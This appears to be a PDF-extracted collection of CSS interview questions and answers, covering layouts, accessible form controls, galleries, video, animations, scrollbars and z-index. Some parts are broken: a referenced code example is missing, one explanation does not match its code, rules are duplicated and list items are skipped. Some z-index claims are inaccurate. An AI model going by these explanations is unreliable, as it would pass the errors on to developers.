let slideIndex = 0;
const slides = document.querySelectorAll('.slideshow img');
function showSlides() {
slides[slideIndex].style.display = "block";
setTimeout(() => {
slides[slideIndex].style.display = "none";
slideIndex++;
if (slideIndex >= slides.length) {
slideIndex = 0;
}
showSlides();
}, 2000);
}
showSlides();
.slideshow img {
display: none;
}
In this example, the HTML code creates a div with the class "slideshow" and
three img elements with the source and alt attributes. The JavaScript code sets the initial
value of the slideIndex variable to 0 and selects all the img elements with the class
"slideshow". The showSlides() function is then defined to display the current slide for two
seconds, and then hide it and display the next slide. The setInterval() method is used to
call the showSlides() function repeatedly. Finally, the CSS code hides all
the img elements by default using the display: none; property, and the JavaScript code
shows and hides the images as needed. This is a basic example, and there are many ways
to create a more complex and interactive slideshow in CSS.
The backface-visibility property in CSS determines whether the back face of an element
is visible when the element is rotated. It is commonly used when creating 3D-transformed
elements. When set to visible, the back face of an element is visible when the element is
rotated. When set to hidden, the back face is hidden. Here is an example code snippet:
In the above example, the .box element is rotated by 180 degrees and its back face is not
visible because the backface-visibility property is set to hidden.
What are some best practices for using CSS Grid in responsive design? How do
you handle browser compatibility issues?
When using CSS Grid in responsive design, it's important to follow some best practices,
such as:
1. Use minmax() and auto-fit to create a flexible grid that adapts to different screen
sizes.
2. Use grid-template-areas to create a responsive layout that adjusts to different screen
sizes.
3. Use media queries to adjust the grid as the screen size changes.
To handle browser compatibility issues, it's a good practice to provide fallback options for
browsers that don't support CSS Grid. One approach is to use a combination of CSS Grid
and Flexbox, with the Flexbox code as a fallback for browsers that don't support CSS
Grid.
.container {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
grid-template-rows: auto;
grid-template-areas:
"header header header"
"nav main aside"
"footer footer footer";
}
How can you use CSS to create custom checkboxes and radio buttons that are
accessible and user-friendly? What are some common accessibility issues to
consider?
To create custom checkboxes and radio buttons that are accessible and user-friendly, you
can hide the default inputs and use the :before or :after pseudo-elements to style them.
You should also add proper aria attributes to indicate the role of the input and its state.
Common accessibility issues to consider include providing a visible focus state, ensuring
that the input is operable with a keyboard, and providing descriptive labels. Here's an
example of custom radio buttons with proper aria attributes:
.radio-group {
display: flex;
flex-direction: column;
}
.radio-group label {
display: block;
position: relative;
padding-left: 2rem;
margin-bottom: 0.5rem;
cursor: pointer;
}
.radio-group input[type="radio"] {
position: absolute;
opacity: 0;
}
.radio-group label:before {
content: "";
display: inline-block;
width: 1rem;
height: 1rem;
margin-right: 0.5rem;
border: 2px solid #6c757d;
border-radius: 50%;
position: absolute;
left: 0;
top: 0;
}
In this example, the radio buttons are contained within a .radio-group container, and
each radio button consists of an <input type="radio"> and a <label>.
The :before pseudo-element is used to create the custom radio button, and
the :checked and :focus pseudo-classes are used to indicate the checked and focused
states. The :disabled pseudo-class is used to style disabled radio buttons. The
proper aria attributes, such as role="radio", aria-checked="true", and aria-
disabled="true", should be added to the appropriate elements.
How can you create a sticky header or footer using CSS? What are some best
practices for handling overlapping content and scroll events?
To create a sticky header or footer using CSS, you can use the position: fixed property.
Here's an example of a sticky header:
.header {
position: fixed;
top: 0;
left: 0;
width: 100%;
background-color: #333;
color: #fff;
padding: 20px;
}
To avoid overlapping content, you can add margin-top or margin-bottom to the element
below or above the sticky element, respectively. To handle scroll events, you can use
JavaScript to add or remove a class that changes the position property based on the scroll
position. It's important to test the layout on different devices and screen sizes to ensure
that the sticky header or footer does not interfere with the content or user experience.
How can you use CSS to create an image gallery that supports lazy loading and
high-resolution images? What are some performance considerations to keep in
mind?
To create an image gallery that supports lazy loading and high-resolution images, you
can use the srcset and sizes attributes to specify different image sizes for different
viewport sizes, as well as the loading attribute to enable lazy loading. Here is an
example:
<div class="gallery">
<img src="low-res-image.jpg"
srcset="medium-res-image.jpg 800w,
high-res-image.jpg 1600w"
sizes="(max-width: 600px) 100vw, 50vw"
alt="Image description"
loading="lazy">
<img src="low-res-image.jpg"
srcset="medium-res-image.jpg 800w,
high-res-image.jpg 1600w"
sizes="(max-width: 600px) 100vw, 50vw"
alt="Image description"
loading="lazy">
<img src="low-res-image.jpg"
srcset="medium-res-image.jpg 800w,
high-res-image.jpg 1600w"
sizes="(max-width: 600px) 100vw, 50vw"
alt="Image description"
loading="lazy">
</div>
To improve performance, you can optimize your images using compression and caching
techniques, and consider using a content delivery network (CDN) to serve your images.
Additionally, you can use JavaScript libraries such as LazyLoad or Intersection Observer
to implement lazy loading and reduce the initial load time of your page.
How can you use CSS to create a responsive video player that supports different
aspect ratios and resolutions? What are some design patterns to consider?
To create a responsive video player in CSS, you can use the HTML5 <video> tag and
apply CSS to style and position the player controls. To ensure the player is responsive,
use media queries to adjust the layout and sizing of the player for different screen sizes.
Consider using a responsive embed code or iframe to make the player fit within its parent
container. Additionally, consider including support for different aspect ratios and
resolutions using CSS.
Here's an example of HTML and CSS for a basic responsive video player:
<div class="video-container">
<video controls>
<source src="my-video.mp4" type="video/mp4">
<source src="my-video.webm" type="video/webm">
Your browser does not support the video tag.
</video>
</div>
.video-container {
position: relative;
padding-bottom: 56.25%; /* 16:9 aspect ratio */
height: 0;
}
.video-container video {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
In this example, the video-container class creates a container with a 16:9 aspect ratio.
The padding-bottom percentage is used to maintain the aspect ratio while also allowing
the height of the container to be flexible. The video element is then absolutely positioned
within the container to fill the available space. The controls attribute is used to display
the default video player controls.
You can further customize the appearance and functionality of the player by styling
the video and controls elements using CSS.
How can you use CSS to create a tooltip that is accessible and responsive? What
are some best practices for handling different device types and screen sizes?
button:hover::before {
content: "This is a tooltip";
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
padding: 5px;
background-color: #000;
color: #fff;
border-radius: 5px;
white-space: nowrap;
opacity: 1;
transition: opacity 0.3s;
}
button:hover::after {
content: "";
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
border: 5px solid transparent;
border-top-color: #000;
opacity: 1;
transition: opacity 0.3s;
}
.parallax-content {
transform: translate3d(0, 0, 0);
}
The "translate3d" transform is used to create the parallax effect, by moving the content
at a different speed than the background. However, it's important to use this effect
sparingly and with caution, as it can have a negative impact on performance and
accessibility.
Can you explain the difference between "contain" and "cover" in CSS?
"Contain" and "cover" are values for the CSS background-size property that define how a
background image should fit into a container element. The "contain" value scales the
image to be as large as possible while still fitting inside the container, leaving empty
space if necessary. The "cover" value scales the image to be as large as possible so that
the background area is completely covered, potentially cropping parts of the image.
.container {
background-image: url('example.jpg');
background-size: contain; /* or cover */
background-repeat: no-repeat;
background-position: center center;
}
You can create a 3D effect in CSS using transforms such as rotateX, rotateY, and rotateZ.
These transforms change the position of an element in 3D space, giving the illusion of
depth. Additionally, you can use the perspective property to control the depth of an
element's 3D position. Here is an example of a box with a 3D rotation on hover:
.box {
width: 200px;
height: 200px;
background-color: blue;
transition: transform 0.5s;
transform-style: preserve-3d;
}
.box:hover {
transform: rotateY(180deg);
}
In this example, the "box" element will rotate 180 degrees around the Y-axis on hover,
giving the appearance of a 3D rotation. The transform-style: preserve-3d; property
ensures that the child elements of the box also maintain their 3D positions during the
rotation.
The "will-change" property in CSS allows the browser to optimize rendering performance
by letting it know what properties and elements will change in the future. This helps the
browser allocate resources and prepare for the upcoming changes, resulting in smoother
animations and transitions. It should be used sparingly and only on properties that will
significantly affect performance. For example, using "will-change: transform" on an
element that will be animated with a CSS transform can improve performance.
.box {
transform: translateX(0);
transition: transform 0.5s;
will-change: transform;
}
.box:hover {
transform: translateX(100px);
}
In this example, the "will-change: transform;" tells the browser that the "transform"
property will change on hover, allowing it to allocate resources and prepare for the
animation.
How do you create a responsive image gallery in CSS?
To create a responsive image gallery in CSS, you can use CSS Grid or Flexbox to arrange
the images, and media queries to adjust the layout for different screen sizes. Use
the object-fit property to scale images within their containers, and
the srcset and sizes attributes to serve appropriate images based on the user's device.
Additionally, you can add lazy loading to improve the gallery's performance. Here's an
example of a responsive image gallery using CSS Grid:
<div class="gallery">
<img src="image1.jpg" alt="Image 1">
<img src="image2.jpg" alt="Image 2">
<img src="image3.jpg" alt="Image 3">
<img src="image4.jpg" alt="Image 4">
<img src="image5.jpg" alt="Image 5">
<img src="image6.jpg" alt="Image 6">
</div>
.gallery {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
grid-gap: 10px;
}
.gallery img {
width: 100%;
height: auto;
object-fit: cover;
}
CSS is not capable of creating a video, but it can be used to create a container that
adjusts to the size of the video. To create a responsive video in CSS, wrap the video tag in
a container with a percentage-based width and set the height to 0. This will preserve the
aspect ratio of the video. Then, use the padding-bottom property to create space for the
video proportional to the width of the container. Here's an example:
<div class="video-container">
<video src="example.mp4" controls></video>
</div>
.video-container {
position: relative;
width: 100%;
height: 0;
padding-bottom: 56.25%;
}
video {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
In this example, the padding-bottom is set to 56.25% to create a space that is 16:9
proportionate. The video will always fill the available space in the container while
maintaining its aspect ratio.
You can use the CSS cursor property to specify a custom cursor, like an image or shape.
You can create a custom cursor by defining a new cursor style with url() and then setting
the cursor property to use that style. For example, to use an image as a cursor, you can
define a new cursor style with url() and then set the cursor property to use that style:
.custom-cursor {
cursor: url('path-to-image.png'), auto;
}
Make sure to also specify a fallback cursor in case the custom cursor image fails to load.
It's also important to consider the size and shape of the cursor for usability and
accessibility.
How can you use CSS variables to create a consistent design system across a
large project? What are some best practices for organizing and managing
variables?
CSS variables, also known as custom properties, allow developers to define and reuse
values across a project. This can help create a more consistent design system and
simplify the process of making updates. Some best practices for organizing and
managing variables include grouping related variables together, using descriptive names,
and avoiding unnecessary nesting. Here is an example of using CSS variables to define
and reuse color values:
:root {
--primary-color: #007bff;
--secondary-color: #6c757d;
}
.button {
background-color: var(--primary-color);
color: white;
}
.card {
background-color: var(--secondary-color);
}
How can you use CSS animations to create a custom loading spinner or progress
bar? What are some design patterns to consider for different use cases?
To create a loading spinner or progress bar with CSS animations, you can use keyframe
animations and the animation property. The animation can be triggered on a specific
element, and you can use the transform property to rotate, scale, or move the spinner or
bar. Design patterns to consider include using a fixed position, adding a background to
the spinner, and making sure the animation is smooth and consistent across different
devices. Here is an example of a loading spinner created with CSS animations:
.spinner {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border-radius: 50%;
width: 2rem;
height: 2rem;
border: 4px solid #eee;
border-top-color: #666;
animation: spinner 1s linear infinite;
}
@keyframes spinner {
to {
transform: rotate(360deg);
}
}
This spinner will create a circular shape with a border and will rotate continuously until
the loading is complete. You can customize the colors, size, and speed of the spinner by
modifying the CSS properties.
How can you use CSS to create a custom dropdown menu that supports keyboard
accessibility and touch devices? What are some common design patterns to
consider?
To create a custom dropdown menu in CSS that supports keyboard accessibility and
touch devices, use the :focus pseudo-class to highlight the selected item and
the :hover pseudo-class for mouse interactions. For keyboard navigation, use
the tabindex attribute to make the menu items focusable and handle the keydown event
to allow arrow key navigation. To support touch devices, use
the touchstart and touchend events to open and close the menu. Common design patterns
include using nested unordered lists and hiding the dropdown menu until it is activated.
Here's an example of a basic CSS dropdown menu:
<div class="dropdown">
<button class="dropdown-toggle" aria-haspopup="true" aria-
expanded="false">Menu</button>
<ul class="dropdown-menu">
<li><a href="#">Item 1</a></li>
<li><a href="#">Item 2</a></li>
<li><a href="#">Item 3</a></li>
</ul>
</div>
.dropdown-toggle {
background: #fff;
border: 1px solid #ccc;
padding: 8px 12px;
}
.dropdown-menu {
display: none;
list-style: none;
margin: 0;
padding: 0;
position: absolute;
}
.dropdown-menu li a {
display: block;
padding: 8px 12px;
text-decoration: none;
}
.dropdown:focus .dropdown-menu {
display: block;
}
.dropdown-menu li:hover {
background: #f2f2f2;
}
/* Keyboard navigation */
.dropdown-menu li:focus {
outline: none;
background: #f2f2f2;
}
How can you use CSS to create a custom scrollbar that works across different
browsers and devices? What are some best practices for handling accessibility
and user experience?
You can use CSS to create a custom scrollbar using the ::-webkit-scrollbar pseudo-
element for WebKit-based browsers and the scrollbar-width and scrollbar-
color properties for other browsers. To ensure accessibility, it's important to provide
sufficient contrast between the scrollbar and its background, and to avoid hiding or
obscuring any content. Here's an example of a custom scrollbar that changes color on
hover:
::-webkit-scrollbar-thumb {
background-color: #ccc;
border-radius: 8px;
}
::-webkit-scrollbar-thumb:hover {
background-color: #aaa;
}
::-webkit-scrollbar-thumb {
background-color: #ccc;
}
::-webkit-scrollbar-thumb:hover {
background-color: #aaa;
}
::-webkit-scrollbar-thumb:active {
background-color: #888;
}
How can you use CSS to create a responsive timeline or progress tracker that
works across different devices and screen sizes? What are some best practices
for handling complex layouts and user interactions?
To create a responsive timeline or progress tracker in CSS, you can use Flexbox or grid
to layout the content and media queries to adjust for different screen sizes. You can use
pseudo-elements and CSS animations to create custom indicators and transitions. It's
important to consider accessibility, providing clear labels, and enabling keyboard
navigation. Additionally, optimizing performance with lazy loading and caching
techniques can help improve the user experience. Here's an example using Flexbox:
<div class="timeline">
<div class="item">
<div class="date">Jan 2022</div>
<div class="content">Lorem ipsum dolor sit amet</div>
</div>
<div class="item">
<div class="date">Feb 2022</div>
<div class="content">Consectetur adipiscing elit</div>
</div>
<div class="item">
<div class="date">Mar 2022</div>
<div class="content">Sed do eiusmod tempor incididunt</div>
</div>
</div>
.timeline {
display: flex;
flex-direction: column;
}
.item {
display: flex;
align-items: center;
margin: 10px 0;
}
.date {
flex: 0 0 80px;
text-align: center;
font-weight: bold;
color: #999;
}
.content {
flex: 1;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
}
1. Stacking Contexts: The z-index property controls the vertical stacking order of
positioned elements. Elements with a higher z-index value are stacked in front of
elements with a lower z-index value. However, this only applies within the same
stacking context.
3. Default Value: By default, all elements have a z-index value of auto. In a stacking
context, elements with an explicit z-index value will be stacked in front of those with
an auto value.
4. Negative Values: Negative z-index values are allowed. Elements with negative z-
index values are stacked below elements with a z-index of 0 and are painted beneath
their parent stacking context.
7. Sticky Positioning: Elements with position: sticky are positioned relative to the
viewport or a scrollable ancestor. They create a new stacking context, so their z-
index will only affect descendant elements within the same stacking context.
8. Inline Elements: Inline elements cannot be positioned with z-index unless they are
first changed to a block-level element (e.g., using display: block or display: inline-
block).